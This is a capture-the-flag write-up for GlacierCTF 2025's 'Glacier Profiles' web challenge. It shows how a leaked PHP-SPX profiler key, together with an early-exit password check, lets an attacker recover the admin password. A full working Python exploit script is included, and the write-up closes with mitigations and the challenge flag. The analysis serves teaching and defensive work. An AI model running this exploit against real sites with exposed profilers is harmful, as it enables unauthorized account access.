GlacierCTF 2025 featured intense competition across Open and Academic brackets. I had the opportunity to participate and want to share my solution for Glacier Profiles, a web challenge that required exploiting a subtle side-channel in the PHP-SPX profiler.
Challenge Description
Category: Web
Author: XSSKevin
Description: Check out our new FrostFire Profiles website, which we launched today. We have invested a lot of time optimizing the site, so you can access it super fast.
Initial Recon
The challenge presents a simple profile website titled “FrostFire Profiles”. It displays a grid of avatars and seems static at first glance. However, a prominent login form is immediately visible, suggesting it’s a key interaction point.

The goal is to authenticate as admin using this form to retrieve the flag.
Source Code Analysis
We are provided with the source code. The core logic resides in web/functions.php.
<?php
session_start();
function loggedIn() { return $_SESSION["loggedIn"] == true;}
function handleForm() { handleLogin(); handleLogout(); handleDbg();}
function handleLogin() { $action = filter_input(INPUT_POST, "action", FILTER_DEFAULT); if($action !== "login") return; $rcon = file_get_contents("/rcon.pw"); if(strlen($rcon) === 0) { echo "Contact an admin. Something is wrong.."; return; } $rcon_provided = filter_input(INPUT_POST, "rcon", FILTER_DEFAULT); if(check_password($rcon, $rcon_provided)) { $_SESSION["loggedIn"] = true; }}
function handleLogout() { $action = filter_input(INPUT_POST, "action", FILTER_DEFAULT); if($action !== "logout") return; unset($_SESSION["loggedIn"]);}
function handleDbg() { $action = filter_input(INPUT_POST, "action", FILTER_DEFAULT); if($action !== "dbg") return; phpinfo();}
function displayAdminSection() { echo file_get_contents("/flag.txt");}
function check_password($pw, $hp) { if(strlen($pw) != strlen($hp)) return false; for($i = 0; $i < strlen($pw); $i++) { if(!check_char($pw[$i], $hp[$i])) return false; } return true;}
function check_char($a, $b) { return $a == $b;}The Vulnerability: SPX Profiler Side-Channel
The vulnerability is a Side-Channel Attack exploiting the php-spx profiler extension.
What is a Side-Channel Attack?
A side-channel attack exploits information gained from the implementation of a system, rather than weaknesses in the algorithm itself. This includes timing information, power consumption, electromagnetic leaks, or in this case, profiling data.
The SPX Profiler Leak
The Dockerfile installs php-spx and enables it globally:
FROM docker.io/library/php@sha256:abce8fe7e3390e96d3ac52dff8e6f5ff9507f4a7bee2b18f11404b74d7efec66
RUN apt update -y && apt install -y zlib1g-dev make git && apt clean -yRUN cd /tmp && git clone https://github.com/NoiseByNorthwest/php-spx.git && cd /tmp/php-spx && phpize && ./configure && make && make install
# Copy challenge required filesCOPY config/php.ini $PHP_INI_DIR/php.iniCOPY config/spx.ini $PHP_INI_DIR/conf.d/spx.iniRUN sed -i -e "s/DOCKERFILE_OVERWRITES_THIS_KEY/`tr -dc A-Za-z0-9 </dev/urandom | head -c 16`/g" $PHP_INI_DIR/conf.d/spx.iniCOPY web /var/www/htmlCOPY flag.txt /flag.txt
RUN tr -dc A-Za-z0-9 </dev/urandom | head -c 32 > /rcon.pwThe config/spx.ini configuration:
extension=spx.sospx.http_enabled=1spx.http_key=DOCKERFILE_OVERWRITES_THIS_KEYspx.http_profiling_enabled=1spx.http_profiling_auto_start=1spx.http_ip_whitelist="*"With spx.http_profiling_auto_start=1, every HTTP request is profiled automatically and reports are accessible via the SPX web UI:

Information Disclosure
The handleDbg() function in functions.php exposes phpinfo():
function handleDbg() { $action = filter_input(INPUT_POST, "action", FILTER_DEFAULT); if($action !== "dbg") return; phpinfo();}This leaks the spx.http_key value needed to access profiling reports.
The Flaw in functions.php
The password verification uses a character-by-character comparison that exits early on mismatch:
function check_password($pw, $hp) { if(strlen($pw) != strlen($hp)) return false; for($i = 0; $i < strlen($pw); $i++) { if(!check_char($pw[$i], $hp[$i])) return false; } return true;}
function check_char($a, $b) { return $a == $b;}This creates an execution path oracle: more characters that match result in more calls to check_char(). Unlike a traditional timing attack which can be affected by network jitter, this execution count is deterministic and can be precisely measured via the SPX profiler.
Visualizing the Attack
When we send login requests with different password guesses, SPX profiles each request. We can see these requests listed in the SPX interface.
Here is what the report looks like for an incorrect guess (first character wrong):

Notice that check_char is called only once. This is because the first character didn’t match, so the loop exited immediately.
Now, here is the report for a correct guess (first character matches):

In this case, check_char is called twice. The first call confirmed the first character was correct, and the second call failed on the second character.
| Password Guess | First Char Match? | Second Char Match? | check_char Calls |
|---|---|---|---|
ZZZZ... | NO | - | 1 |
hZZZ... | YES | NO | 2 |
haZZ... | YES | YES | 3 |
hk9V... | YES | YES | 32 |
By observing the number of check_char function calls in the SPX report, we can determine how many characters matched before the comparison failed.
Exploit Strategy
- Leak SPX Key: Send
POST action=dbgto getphpinfo()output and extractspx.http_key. - Access SPX Endpoints: Use the leaked key to access:
- Report list:
/?SPX_UI_URI=/data/reports/metadata - Individual reports:
/?SPX_UI_URI=/data/reports/get/<report_key>
- Report list:
- Bruteforce Password: For each character position (0-31):
- Try all possible characters (a-z, A-Z, 0-9)
- Send login request with unique tag (
?id=<tag>) - Fetch Metadata: Because
spx.http_profiling_auto_start=1is enabled, every request is profiled. We use the uniquetagin the URL to identify our specific request in the noisy report list. - Parse Report: Fetch the text/flat view of the report and count how many times
check_charwas called. - Select the character that maximizes the call count.
- Authenticate: Once all 32 characters are recovered, log in to get the flag.
Exploit Script
Here is the full Python exploit script:
import requests, string, time, urllib.parse, re
base = "http://localhost:8000"charset = string.ascii_letters + string.digitss = requests.Session()
r = s.post(base, data={"action": "dbg"})match = re.search( r'<tr><td class="e">spx.http_key</td><td class="v">([^<]+)</td>', r.text)spx_key = match.group(1)print(f"[+] SPX Key: {spx_key}")
45 collapsed lines
def send_login(tag, guess): return s.post(f"{base}/?id={tag}", data={"action": "login", "rcon": guess})
def get_report_key(tag): target = f"/?id={tag}" for _ in range(15): m = s.get( f"{base}/?SPX_UI_URI=/data/reports/metadata", cookies={"SPX_KEY": spx_key} ) meta = m.json()["results"] matches = [ e for e in meta if e["http_request_uri"] == target and e["http_method"] == "POST" ] if matches: return max(matches, key=lambda e: e["exec_ts"])["key"] time.sleep(0.2)
def check_char_count(key): k = urllib.parse.quote(key, safe="") txt = s.get( f"{base}/?SPX_UI_URI=/data/reports/get/{k}", cookies={"SPX_KEY": spx_key} ).text lines = txt.strip().splitlines() funcs, seen = [], False for line in lines: if line.strip() == "[functions]": seen = True continue if seen and line.strip(): funcs.append(line.strip()) if "check_char" not in funcs: return 0 idx = funcs.index("check_char") return sum( 1 for line in lines if len(line.split()) >= 2 and line.split()[0].isdigit() and int(line.split()[0]) == idx and line.split()[1] == "1" )
pw = ""for pos in range(32): max_count = -1 best_char = None for c in charset: tag = f"p{pos}_{c}_{int(time.time()*1000)}" send_login(tag, (pw + c).ljust(32, "Z")) time.sleep(0.25) key = get_report_key(tag) if key: count = check_char_count(key) if count > max_count: max_count = count best_char = c if best_char: pw += best_char print(f"{pos}: {best_char} -> {pw}") else: break
print(f"RCON: {pw}")
s2 = requests.Session()s2.post(base, data={"action": "login", "rcon": pw})r = s2.get(base)flag = re.search(r"gctf\{[^}]+\}", r.text)if flag: print(f"FLAG: {flag.group(0)}")Mitigation
To prevent this vulnerability, two main steps should be taken:
- Disable Profiling in Production: Debugging tools like PHP-SPX should never be enabled in a production environment. Ensure
spx.http_enabledis set to0or the extension is not loaded at all. - Constant-Time Comparisons: When comparing sensitive secrets like passwords or API keys, always use constant-time comparison functions. In PHP, use
hash_equals($known_string, $user_string)instead of==or===. This ensures the comparison takes the same amount of time regardless of where the mismatch occurs.
Conclusion
This challenge was a great example of how even “internal” tooling can become a side-channel vector if exposed. It highlights the importance of stripping debug features from production builds and understanding the low-level implications of our code’s execution flow.
Flag: gctf{Y0u_C4n_Als0_S!d3Ch4nN3l_PhP_O_o_axNGgpno5ycGw85}